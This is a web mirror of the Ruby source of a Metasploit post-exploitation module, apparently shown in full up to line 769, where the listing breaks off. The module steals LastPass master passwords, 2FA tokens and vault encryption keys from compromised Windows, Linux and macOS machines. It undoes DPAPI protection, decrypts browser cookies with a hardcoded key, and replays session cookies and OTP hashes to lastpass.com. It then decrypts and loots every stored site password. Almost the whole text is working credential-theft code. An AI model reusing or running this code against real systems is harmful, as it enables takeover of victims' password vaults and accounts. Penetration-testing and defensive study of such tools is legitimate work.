CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/lastpass_creds.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'English'
7
require 'sqlite3'
8
require 'uri'
9
10
class MetasploitModule < Msf::Post
11
include Msf::Post::File
12
include Msf::Post::Windows::UserProfiles
13
include Msf::Post::OSX::System
14
include Msf::Post::Unix
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'LastPass Vault Decryptor',
21
'Description' => %q{
22
This module extracts and decrypts LastPass master login accounts and passwords,
23
encryption keys, 2FA tokens and all the vault passwords
24
},
25
'License' => MSF_LICENSE,
26
'Author' => [
27
'Alberto Garcia Illera <agarciaillera[at]gmail.com>', # original module and research
28
'Martin Vigo <martinvigo[at]gmail.com>', # original module and research
29
'Jon Hart <jon_hart[at]rapid7.com>' # module rework and cleanup
30
],
31
'Platform' => %w[linux osx unix win],
32
'References' => [
33
[ 'URL', 'http://www.martinvigo.com/even-the-lastpass-will-be-stolen-deal-with-it' ]
34
],
35
'SessionTypes' => %w[meterpreter shell],
36
'Compat' => {
37
'Meterpreter' => {
38
'Commands' => %w[
39
stdapi_railgun_api
40
stdapi_registry_open_key
41
stdapi_sys_process_attach
42
stdapi_sys_process_get_processes
43
stdapi_sys_process_getpid
44
stdapi_sys_process_memory_allocate
45
stdapi_sys_process_memory_read
46
stdapi_sys_process_memory_write
47
]
48
}
49
}
50
)
51
)
52
end
53
54
def run
55
if session.platform == 'windows' && session.type == 'shell' # No Windows shell support
56
print_error 'Shell sessions on Windows are not supported'
57
return
58
end
59
60
print_status 'Searching for LastPass databases'
61
62
account_map = build_account_map
63
if account_map.empty?
64
print_status 'No databases found'
65
return
66
end
67
68
print_status 'Extracting credentials'
69
extract_credentials(account_map)
70
71
print_status 'Extracting 2FA tokens'
72
extract_2fa_tokens(account_map)
73
74
print_status 'Extracting vault and iterations'
75
extract_vault_and_iterations(account_map)
76
77
print_status 'Extracting encryption keys'
78
extract_vault_keys(account_map)
79
80
print_lastpass_data(account_map)
81
end
82
83
# Returns a mapping of lastpass accounts
84
def build_account_map
85
profiles = user_profiles
86
account_map = {}
87
88
profiles.each do |user_profile|
89
account = user_profile['UserName']
90
browser_path_map = {}
91
localstorage_path_map = {}
92
cookies_path_map = {}
93
94
case session.platform
95
when 'windows'
96
browser_path_map = {
97
'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
98
'Firefox' => "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles",
99
'IE' => "#{user_profile['LocalAppData']}Low\\LastPass",
100
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0"
101
}
102
localstorage_path_map = {
103
'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
104
'Firefox' => "#{user_profile['LocalAppData']}Low\\LastPass",
105
'IE' => "#{user_profile['LocalAppData']}Low\\LastPass",
106
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Local Storage\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"
107
}
108
cookies_path_map = {
109
'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Cookies",
110
'Firefox' => '', # It's set programmatically
111
'IE' => "#{user_profile['LocalAppData']}\\Microsoft\\Windows\\INetCookies\\Low",
112
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Cookies"
113
}
114
when 'unix', 'linux'
115
browser_path_map = {
116
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
117
'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox",
118
'Opera' => "#{user_profile['LocalAppData']}/.config/opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0"
119
}
120
localstorage_path_map = {
121
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
122
'Firefox' => "#{user_profile['LocalAppData']}/.lastpass",
123
'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"
124
}
125
cookies_path_map = { # TODO
126
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Cookies",
127
'Firefox' => '', # It's set programmatically
128
'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Cookies"
129
}
130
when 'osx'
131
browser_path_map = {
132
'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
133
'Firefox' => "#{user_profile['LocalAppData']}/Firefox/Profiles",
134
'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0",
135
'Safari' => "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
136
}
137
localstorage_path_map = {
138
'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
139
'Firefox' => "#{user_profile['AppData']}/Containers/com.lastpass.LastPass/Data/Library/Application Support/LastPass",
140
'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage",
141
'Safari' => "#{user_profile['AppData']}/Safari/LocalStorage/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage"
142
}
143
cookies_path_map = { # TODO
144
'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Cookies",
145
'Firefox' => '', # It's set programmatically
146
'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Cookies",
147
'Safari' => "#{user_profile['AppData']}/Cookies/Cookies.binarycookies"
148
}
149
else
150
print_error "Platform not recognized: #{session.platform}"
151
end
152
153
account_map[account] = {}
154
browser_path_map.each_pair do |browser, path|
155
account_map[account][browser] = {}
156
db_paths = find_db_paths(path, browser, account)
157
if db_paths && !db_paths.empty?
158
account_map[account][browser]['lp_db_path'] = db_paths.first
159
account_map[account][browser]['localstorage_db'] = localstorage_path_map[browser] if file?(localstorage_path_map[browser]) || browser.match(/Firefox|IE/)
160
account_map[account][browser]['cookies_db'] = cookies_path_map[browser] if file?(cookies_path_map[browser]) || browser.match(/Firefox|IE/)
161
account_map[account][browser]['cookies_db'] = account_map[account][browser]['lp_db_path'].first.gsub('prefs.js', 'cookies.sqlite') if (!account_map[account][browser]['lp_db_path'].blank? && browser == 'Firefox')
162
else
163
account_map[account].delete(browser)
164
end
165
end
166
end
167
168
account_map
169
end
170
171
# Returns a list of DB paths found in the victims' machine
172
def find_db_paths(path, browser, account)
173
paths = []
174
175
vprint_status "Checking #{account}'s #{browser}"
176
if browser == 'IE' # Special case for IE
177
data = read_registry_key_value('HKEY_CURRENT_USER\Software\LastPass', 'LoginUsers')
178
data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', 'LoginUsers') if data.blank?
179
paths |= ['HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass'] if !data.blank? && path != 'Low\\LastPass' # Hacky way to detect if there is access to user's data (attacker has no root access)
180
elsif browser == 'Firefox' # Special case for Firefox
181
paths |= firefox_profile_files(path)
182
else
183
paths |= file_paths(path)
184
end
185
186
vprint_good "Found #{paths.size} #{browser} databases for #{account}"
187
paths
188
end
189
190
# Returns the relevant information from user profiles
191
def user_profiles
192
user_profiles = []
193
case session.platform
194
when /unix|linux/
195
user_names = dir('/home')
196
user_names.reject! { |u| %w[. ..].include?(u) }
197
user_names.each do |user_name|
198
user_profiles.push('UserName' => user_name, 'LocalAppData' => "/home/#{user_name}")
199
end
200
when /osx/
201
user_names = session.shell_command('ls /Users').split
202
user_names.reject! { |u| u == 'Shared' }
203
user_names.each do |user_name|
204
user_profiles.push(
205
'UserName' => user_name,
206
'AppData' => "/Users/#{user_name}/Library",
207
'LocalAppData' => "/Users/#{user_name}/Library/Application Support"
208
)
209
end
210
when /windows/
211
user_profiles |= grab_user_profiles
212
else
213
print_error "OS not recognized: #{session.platform}"
214
end
215
user_profiles
216
end
217
218
# Extracts the databases paths from the given folder ignoring . and ..
219
def file_paths(path)
220
found_dbs_paths = []
221
222
files = []
223
files = dir(path) if directory?(path)
224
files.each do |file_path|
225
unless %w[. .. Shared].include?(file_path)
226
found_dbs_paths.push([path, file_path].join(system_separator))
227
end
228
end
229
230
found_dbs_paths
231
end
232
233
# Returns the profile files for Firefox
234
def firefox_profile_files(path)
235
found_dbs_paths = []
236
237
if directory?(path)
238
files = dir(path)
239
files.reject! { |file| %w[. ..].include?(file) }
240
files.each do |file_path|
241
found_dbs_paths.push([path, file_path, 'prefs.js'].join(system_separator)) if file_path.match(/.*\.default/)
242
end
243
end
244
245
[found_dbs_paths]
246
end
247
248
# Parses the Firefox preferences file and returns encoded credentials
249
def ie_firefox_credentials(prefs_path, localstorage_db_path)
250
credentials = []
251
data = nil
252
253
if prefs_path.nil? # IE
254
data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', 'LoginUsers')
255
data = read_registry_key_value('HKEY_CURRENT_USER\Software\LastPass', 'LoginUsers') if data.blank?
256
return [] if data.blank?
257
258
usernames = data.split('|')
259
usernames.each do |username|
260
credentials << [username, nil]
261
end
262
263
# Extract master passwords
264
data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', 'LoginPws')
265
data = Rex::Text.encode_base64(data) unless data.blank?
266
else # Firefox
267
loot_path = loot_file(prefs_path, nil, 'firefox.preferences', 'text/javascript', 'Firefox preferences file')
268
return [] unless loot_path
269
270
File.readlines(loot_path).each do |line|
271
next unless /user_pref\("extensions.lastpass.loginusers", "(?<encoded_users>.*)"\);/ =~ line
272
273
usernames = encoded_users.split('|')
274
usernames.each do |username|
275
credentials << [username, nil]
276
end
277
break
278
end
279
280
# Extract master passwords
281
path = localstorage_db_path + system_separator + 'lp.loginpws'
282
data = read_remote_file(path) if file?(path) # Read file if it exists
283
end
284
285
# Get encrypted master passwords
286
data = windows_unprotect(data) if !data.nil? && data.match(/^AQAAA.+/) # Verify Windows protection
287
return credentials if data.blank? # No passwords stored
288
289
creds_per_user = data.split('|')
290
creds_per_user.each_with_index do |user_creds, _index|
291
parts = user_creds.split('=')
292
for creds in credentials
293
creds[1] = parts[1] if creds[0] == parts[0] # Add the password to the existing username
294
end
295
end
296
credentials
297
end
298
299
def decrypt_data(key, encrypted_data)
300
return nil if encrypted_data.blank?
301
302
if encrypted_data.include?('|') # Use CBC
303
decipher = OpenSSL::Cipher.new('AES-256-CBC').decrypt
304
decipher.iv = Rex::Text.decode_base64(encrypted_data[1, 24]) # Discard ! and |
305
encrypted_data = encrypted_data[26..] # Take only the data part
306
else # Use ECB
307
decipher = OpenSSL::Cipher.new('AES-256-ECB').decrypt
308
end
309
310
begin
311
decipher.key = key
312
decrypted_data = decipher.update(Rex::Text.decode_base64(encrypted_data)) + decipher.final
313
rescue OpenSSL::Cipher::CipherError => e
314
vprint_error "Data could not be decrypted. #{e.message}"
315
end
316
317
decrypted_data
318
end
319
320
def extract_credentials(account_map)
321
account_map.each_pair do |account, browser_map|
322
browser_map.each_pair do |browser, lp_data|
323
account_map[account][browser]['lp_creds'] = {}
324
if browser.match(/Firefox|IE/)
325
if browser == 'Firefox'
326
ieffcreds = ie_firefox_credentials(lp_data['lp_db_path'].first, lp_data['localstorage_db'])
327
else # IE
328
ieffcreds = ie_firefox_credentials(nil, lp_data['localstorage_db'])
329
end
330
unless ieffcreds.blank?
331
ieffcreds.each do |creds|
332
if creds[1].blank? # No master password found
333
account_map[account][browser]['lp_creds'][URI.decode_uri_component(creds[0])] = { 'lp_password' => nil }
334
else
335
sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(URI.decode_uri_component(creds[0]))
336
sha256_binary_email = [sha256_hex_email].pack 'H*' # Do hex2bin
337
creds[1] = decrypt_data(sha256_binary_email, URI.decode_uri_component(creds[1]))
338
account_map[account][browser]['lp_creds'][URI.decode_uri_component(creds[0])] = { 'lp_password' => creds[1] }
339
end
340
end
341
end
342
else # Chrome, Safari and Opera
343
loot_path = loot_file(lp_data['lp_db_path'], nil, "#{browser.downcase}.lastpass.database", 'application/x-sqlite3', "#{account}'s #{browser} LastPass database #{lp_data['lp_db_path']}")
344
account_map[account][browser]['lp_db_loot'] = loot_path
345
next if loot_path.blank?
346
347
# Parsing/Querying the DB
348
db = SQLite3::Database.new(loot_path)
349
result = db.execute(
350
'SELECT username, password FROM LastPassSavedLogins2 ' \
351
"WHERE username IS NOT NULL AND username != '' " \
352
)
353
354
for row in result
355
next unless row[0]
356
357
sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(row[0])
358
sha256_binary_email = [sha256_hex_email].pack 'H*' # Do hex2bin
359
row[1].blank? ? row[1] = nil : row[1] = decrypt_data(sha256_binary_email, row[1]) # Decrypt master password
360
account_map[account][browser]['lp_creds'][row[0]] = { 'lp_password' => row[1] }
361
end
362
end
363
end
364
end
365
end
366
367
# Extracts the 2FA token from localStorage
368
def extract_2fa_tokens(account_map)
369
account_map.each_pair do |account, browser_map|
370
browser_map.each_pair do |browser, lp_data|
371
if browser.match(/Firefox|IE/)
372
path = lp_data['localstorage_db'] + system_separator + 'lp.suid'
373
data = read_remote_file(path) if file?(path) # Read file if it exists
374
data = windows_unprotect(data) if !data.nil? && data.size > 32 # Verify Windows protection
375
loot_path = loot_file(nil, data, "#{browser.downcase}.lastpass.localstorage", 'application/x-sqlite3', "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}")
376
account_map[account][browser]['lp_2fa'] = data
377
else # Chrome, Safari and Opera
378
loot_path = loot_file(lp_data['localstorage_db'], nil, "#{browser.downcase}.lastpass.localstorage", 'application/x-sqlite3', "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}")
379
unless loot_path.blank?
380
db = SQLite3::Database.new(loot_path)
381
token = db.execute(
382
'SELECT hex(value) FROM ItemTable ' \
383
"WHERE key = 'lp.uid';"
384
).flatten
385
end
386
token.blank? ? account_map[account][browser]['lp_2fa'] = nil : account_map[account][browser]['lp_2fa'] = token.pack('H*')
387
end
388
end
389
end
390
end
391
392
# Print all extracted LastPass data
393
def print_lastpass_data(account_map)
394
lastpass_data_table = Rex::Text::Table.new(
395
'Header' => 'LastPass Accounts',
396
'Indent' => 1,
397
'Columns' => %w[Account LP_Username LP_Password LP_2FA LP_Key]
398
)
399
400
account_map.each_pair do |account, browser_map|
401
browser_map.each_pair do |_browser, lp_data|
402
lp_data['lp_creds'].each_pair do |username, user_data|
403
lastpass_data_table << [account, username, user_data['lp_password'], lp_data['lp_2fa'], user_data['vault_key']]
404
end
405
end
406
end
407
408
unless account_map.empty?
409
print_good lastpass_data_table.to_s
410
loot_file(nil, lastpass_data_table.to_csv, 'lastpass.data', 'text/csv', 'LastPass Data')
411
print_vault_passwords(account_map)
412
end
413
end
414
415
def extract_vault_and_iterations(account_map)
416
account_map.each_pair do |account, browser_map|
417
browser_map.each_pair do |browser, lp_data|
418
lp_data['lp_creds'].each_pair do |username, _user_data|
419
if browser.match(/Firefox|IE/)
420
if browser == 'Firefox'
421
iterations_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_key.itr'
422
vault_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_lps.act.sxml'
423
else # IE
424
iterations_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_key_ie.itr'
425
vault_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_lps.sxml'
426
end
427
iterations = read_remote_file(iterations_path) if file?(iterations_path) # Read file if it exists
428
iterations = nil if iterations.blank? # Verify content
429
lp_data['lp_creds'][username]['iterations'] = iterations
430
431
# Find encrypted vault
432
vault = read_remote_file(vault_path)
433
vault = windows_unprotect(vault) if !vault.nil? && vault.match(/^AQAAA.+/) # Verify Windows protection
434
vault = vault.sub(/iterations=.*;/, '') if file?(vault_path) # Remove iterations info
435
loot_path = loot_file(nil, vault, "#{browser.downcase}.lastpass.vault", 'text/plain', "#{account}'s #{browser} LastPass vault")
436
lp_data['lp_creds'][username]['vault_loot'] = loot_path
437
438
else # Chrome, Safari and Opera
439
db = SQLite3::Database.new(lp_data['lp_db_loot'])
440
result = db.execute(
441
'SELECT data FROM LastPassData ' \
442
"WHERE username_hash = ? AND type = 'accts'", OpenSSL::Digest::SHA256.hexdigest(username)
443
)
444
445
if result.size == 1 && !result[0].blank?
446
if /iterations=(?<iterations>.*);(?<vault>.*)/ =~ result[0][0]
447
lp_data['lp_creds'][username]['iterations'] = iterations
448
else
449
lp_data['lp_creds'][username]['iterations'] = 1
450
end
451
loot_path = loot_file(nil, vault, "#{browser.downcase}.lastpass.vault", 'text/plain', "#{account}'s #{browser} LastPass vault")
452
lp_data['lp_creds'][username]['vault_loot'] = loot_path
453
else
454
lp_data['lp_creds'][username]['iterations'] = nil
455
lp_data['lp_creds'][username]['vault_loot'] = nil
456
end
457
end
458
end
459
end
460
end
461
end
462
463
def extract_vault_keys(account_map)
464
account_map.each_pair do |account, browser_map|
465
browser_map.each_pair do |browser, lp_data|
466
browser_checked = false # Track if local stored vault key was already decrypted for this browser (only one session cookie)
467
lp_data['lp_creds'].each_pair do |username, user_data|
468
if !user_data['lp_password'].blank? && !user_data['iterations'].nil? # Derive vault key from credentials
469
lp_data['lp_creds'][username]['vault_key'] = derive_vault_key_from_creds(username, lp_data['lp_creds'][username]['lp_password'], user_data['iterations'])
470
else # Get vault key decrypting the locally stored one or from the disabled OTP
471
unless browser_checked
472
decrypt_local_vault_key(account, browser_map)
473
browser_checked = true
474
end
475
if lp_data['lp_creds'][username]['vault_key'].nil? # If no vault key was found yet, try with dOTP
476
otpbin = extract_otpbin(browser, username, lp_data)
477
otpbin.blank? ? next : otpbin = otpbin[0..31]
478
479
lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key_with_otp(username, otpbin)
480
end
481
end
482
end
483
end
484
end
485
end
486
487
# Decrypt the locally stored vault key
488
def decrypt_local_vault_key(account, browser_map)
489
data = nil
490
session_cookie_value = nil
491
492
browser_map.each_pair do |browser, lp_data|
493
if browser == 'IE' && directory?(lp_data['cookies_db'])
494
cookies_files = dir(lp_data['cookies_db'])
495
cookies_files.reject! { |u| %w[. ..].include?(u) }
496
cookies_files.each do |cookie_jar_file|
497
data = read_remote_file(lp_data['cookies_db'] + system_separator + cookie_jar_file)
498
next if data.blank?
499
500
next unless /.*PHPSESSID.(?<session_cookie_value_match>.*?).lastpass\.com?/m =~ data # Find the session id
501
502
loot_file(lp_data['cookies_db'] + system_separator + cookie_jar_file, nil, "#{browser.downcase}.lastpass.cookies", 'text/plain', "#{account}'s #{browser} cookies DB")
503
session_cookie_value = session_cookie_value_match
504
break
505
end
506
else
507
case browser
508
when /Chrome/
509
query = "SELECT encrypted_value FROM cookies WHERE host_key = 'lastpass.com' AND name = 'PHPSESSID'"
510
when 'Opera'
511
query = "SELECT encrypted_value FROM cookies WHERE host_key = 'lastpass.com' AND name = 'PHPSESSID'"
512
when 'Firefox'
513
query = "SELECT value FROM moz_cookies WHERE host = 'lastpass.com' AND name = 'PHPSESSID'"
514
else
515
vprint_error "Browser #{browser} not supported for cookies"
516
next
517
end
518
# Parsing/Querying the DB
519
loot_path = loot_file(lp_data['cookies_db'], nil, "#{browser.downcase}.lastpass.cookies", 'application/x-sqlite3', "#{account}'s #{browser} cookies DB")
520
next if loot_path.blank?
521
522
db = SQLite3::Database.new(loot_path)
523
begin
524
result = db.execute(query)
525
rescue SQLite3::SQLException => e
526
vprint_error "No session cookie was found in #{account}'s #{browser} (#{e.message})"
527
next
528
end
529
next if result.blank? # No session cookie found for this browser
530
531
session_cookie_value = result[0][0]
532
end
533
return if session_cookie_value.blank?
534
535
# Check if cookie value needs to be decrypted
536
if Rex::Text.encode_base64(session_cookie_value).match(/^AQAAA.+/) # Windows Data protection API
537
session_cookie_value = windows_unprotect(Rex::Text.encode_base64(session_cookie_value))
538
elsif session_cookie_value.match(/^v10/) && browser.match(/Chrome|Opera/) # Chrome/Opera encrypted cookie in Linux
539
begin
540
decipher = OpenSSL::Cipher.new('AES-256-CBC')
541
decipher.decrypt
542
decipher.key = OpenSSL::Digest.hexdigest('SHA256', 'peanuts')
543
decipher.iv = ' ' * 16
544
session_cookie_value = session_cookie_value[3..] # Discard v10
545
session_cookie_value = decipher.update(session_cookie_value) + decipher.final
546
rescue OpenSSL::Cipher::CipherError => e
547
print_error "Cookie could not be decrypted. #{e.message}"
548
end
549
end
550
551
# Use the cookie to obtain the encryption key to decrypt the vault key
552
uri = URI('https://lastpass.com/login_check.php')
553
request = Net::HTTP::Post.new(uri)
554
request.set_form_data('wxsessid' => URI.decode_uri_component(session_cookie_value), 'uuid' => browser_map['lp_2fa'])
555
request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8'
556
response = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true) { |http| http.request(request) }
557
558
# Parse response
559
next unless response.body.match(/pwdeckey="([a-z0-9]+)"/) # Session must have expired
560
561
decryption_key = OpenSSL::Digest::SHA256.hexdigest(response.body.match(/pwdeckey="([a-z0-9]+)"/)[1])
562
username = response.body.match(/lpusername="([A-Za-z0-9._%+-@]+)"/)[1]
563
564
# Get the local encrypted vault key
565
encrypted_vault_key = extract_local_encrypted_vault_key(browser, username, lp_data)
566
567
# Decrypt the local stored key
568
lp_data['lp_creds'][username]['vault_key'] = decrypt_data([decryption_key].pack('H*'), encrypted_vault_key)
569
end
570
end
571
572
# Returns otp, encrypted_key
573
def extract_otpbin(browser, username, lp_data)
574
if browser.match(/Firefox|IE/)
575
if browser == 'Firefox'
576
path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_ff.sotp'
577
else # IE
578
path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '.sotp'
579
end
580
otpbin = read_remote_file(path) if file?(path) # Read file if it exists
581
otpbin = windows_unprotect(otpbin) if !otpbin.nil? && otpbin.match(/^AQAAA.+/)
582
return otpbin
583
else # Chrome, Safari and Opera
584
db = SQLite3::Database.new(lp_data['lp_db_loot'])
585
result = db.execute(
586
'SELECT type, data FROM LastPassData ' \
587
"WHERE username_hash = ? AND type = 'otp'", OpenSSL::Digest::SHA256.hexdigest(username)
588
)
589
return (result.blank? || result[0][1].blank?) ? nil : [result[0][1]].pack('H*')
590
end
591
end
592
593
def derive_vault_key_from_creds(username, password, key_iteration_count)
594
if key_iteration_count == 1
595
key = Digest::SHA256.hexdigest username + password
596
else
597
key = pbkdf2(password, username, key_iteration_count.to_i, 32).first
598
end
599
key
600
end
601
602
def decrypt_vault_key_with_otp(username, otpbin)
603
vault_key_decryption_key = [lastpass_sha256(username + otpbin)].pack 'H*'
604
encrypted_vault_key = retrieve_encrypted_vault_key_with_otp(username, otpbin)
605
decrypt_data(vault_key_decryption_key, encrypted_vault_key)
606
end
607
608
def retrieve_encrypted_vault_key_with_otp(username, otpbin)
609
# Derive login hash from otp
610
otp_token = lastpass_sha256(lastpass_sha256(username + otpbin) + otpbin) # OTP login hash
611
612
# Make request to LastPass
613
uri = URI('https://lastpass.com/otp.php')
614
request = Net::HTTP::Post.new(uri)
615
request.set_form_data('login' => 1, 'xml' => 1, 'hash' => otp_token, 'otpemail' => URI::DEFAULT_PARSER.escape(username), 'outofbandsupported' => 1, 'changepw' => otp_token)
616
request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8'
617
response = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true) { |http| http.request(request) }
618
619
# Parse response
620
encrypted_vault_key = nil
621
if response.body.match(/randkey="(.*)"/)
622
encrypted_vault_key = response.body.match(/randkey="(.*)"/)[1]
623
end
624
encrypted_vault_key
625
end
626
627
# LastPass does some preprocessing (UTF8) when doing a SHA256 on special chars (binary)
628
def lastpass_sha256(input)
629
output = ''
630
631
input = input.gsub("\r\n", "\n")
632
633
input.each_byte do |e|
634
if e < 128
635
output += e.chr
636
elsif (e > 127 && e < 2048)
637
output += (e >> 6 | 192).chr
638
output += (e & 63 | 128).chr
639
else
640
output += (e >> 12 | 224).chr
641
output += (e >> 6 & 63 | 128).chr
642
end
643
end
644
645
OpenSSL::Digest::SHA256.hexdigest(output)
646
end
647
648
def pbkdf2(password, salt, iterations, key_length)
649
digest = OpenSSL::Digest.new('SHA256')
650
OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, key_length, digest).unpack 'H*'
651
end
652
653
def windows_unprotect(data)
654
data = Rex::Text.decode_base64(data)
655
pid = session.sys.process.getpid
656
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
657
mem = process.memory.allocate(data.length + 200)
658
process.memory.write(mem, data)
659
660
if session.sys.process.each_process.find { |i| i['pid'] == pid } ['arch'] == 'x86'
661
addr = [mem].pack('V')
662
len = [data.length].pack('V')
663
ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
664
len, addr = ret['pDataOut'].unpack('V2')
665
else
666
addr = Rex::Text.pack_int64le(mem)
667
len = Rex::Text.pack_int64le(data.length)
668
ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
669
pData = ret['pDataOut'].unpack('VVVV')
670
len = pData[0] + (pData[1] << 32)
671
addr = pData[2] + (pData[3] << 32)
672
end
673
674
return '' if len == 0
675
676
process.memory.read(addr, len)
677
end
678
679
def print_vault_passwords(account_map)
680
account_map.each_pair do |_account, browser_map|
681
browser_map.each_pair do |browser, lp_data|
682
lp_data['lp_creds'].each_pair do |username, user_data|
683
lastpass_vault_data_table = Rex::Text::Table.new(
684
'Header' => "Decrypted vault from #{username}",
685
'Indent' => 1,
686
'Columns' => %w[URL Username Password]
687
)
688
if user_data['vault_loot'].nil? # Was a vault found?
689
print_error "No vault was found for #{username}"
690
next
691
end
692
encoded_vault = File.read(user_data['vault_loot'])
693
if encoded_vault[0] == '!' # Vault is double encrypted
694
encoded_vault = decrypt_data([user_data['vault_key']].pack('H*'), encoded_vault)
695
if encoded_vault.blank?
696
print_error "Vault from #{username} could not be decrypted"
697
next
698
else
699
encoded_vault = encoded_vault.sub('LPB64', '')
700
end
701
end
702
703
# Parse vault
704
vault = Rex::Text.decode_base64(encoded_vault)
705
vault.scan(/ACCT/) do |_result|
706
chunk_length = vault[$LAST_MATCH_INFO.offset(0)[1]..$LAST_MATCH_INFO.offset(0)[1] + 3].unpack('H*').first.to_i(16) # Get the length in base 10 of the ACCT chunk
707
chunk = vault[$LAST_MATCH_INFO.offset(0)[0]..$LAST_MATCH_INFO.offset(0)[1] + chunk_length] # Get ACCT chunk
708
account_data = parse_vault_account(chunk, user_data['vault_key'])
709
lastpass_vault_data_table << account_data if !account_data.nil?
710
end
711
712
next if account_map.empty? # Loot passwords
713
714
if lastpass_vault_data_table.rows.empty?
715
print_status('No decrypted vaults.')
716
else
717
print_good lastpass_vault_data_table.to_s
718
end
719
loot_file(nil, lastpass_vault_data_table.to_csv, "#{browser.downcase}.lastpass.passwords", 'text/csv', "LastPass Vault Passwords from #{username}")
720
end
721
end
722
end
723
end
724
725
def parse_vault_account(chunk, vault_key)
726
pointer = 22 # Starting position to find data to decrypt
727
labels = ['name', 'folder', 'url', 'notes', 'undefined', 'undefined2', 'username', 'password']
728
vault_data = []
729
for label in labels
730
if chunk[pointer..pointer + 3].nil?
731
# Out of bound read
732
return nil
733
end
734
735
length = chunk[pointer..pointer + 3].unpack('H*').first.to_i(16)
736
encrypted_data = chunk[pointer + 4..pointer + 4 + length - 1]
737
label != 'url' ? decrypted_data = decrypt_vault_password(vault_key, encrypted_data) : decrypted_data = [encrypted_data].pack('H*')
738
decrypted_data = '' if decrypted_data.nil?
739
vault_data << decrypted_data if (label == 'url' || label == 'username' || label == 'password')
740
pointer = pointer + 4 + length
741
end
742
743
return vault_data[0] == 'http://sn' ? nil : vault_data # TODO: Support secure notes
744
end
745
746
def decrypt_vault_password(key, encrypted_data)
747
return nil if key.blank? || encrypted_data.blank?
748
749
if encrypted_data[0] == '!' # Apply CBC
750
decipher = OpenSSL::Cipher.new('AES-256-CBC').decrypt
751
decipher.iv = encrypted_data[1, 16] # Discard !
752
encrypted_data = encrypted_data[17..]
753
else # Apply ECB
754
decipher = OpenSSL::Cipher.new('AES-256-ECB').decrypt
755
end
756
decipher.key = [key].pack 'H*'
757
758
begin
759
return decipher.update(encrypted_data) + decipher.final
760
rescue OpenSSL::Cipher::CipherError
761
vprint_error "Vault password could not be decrypted with key #{key}"
762
return nil
763
end
764
end
765
766
# Reads a remote file and loots it
767
def loot_file(path, data, title, type, description)
768
data = read_remote_file(path) if data.nil? # If no data is passed, read remote file
769
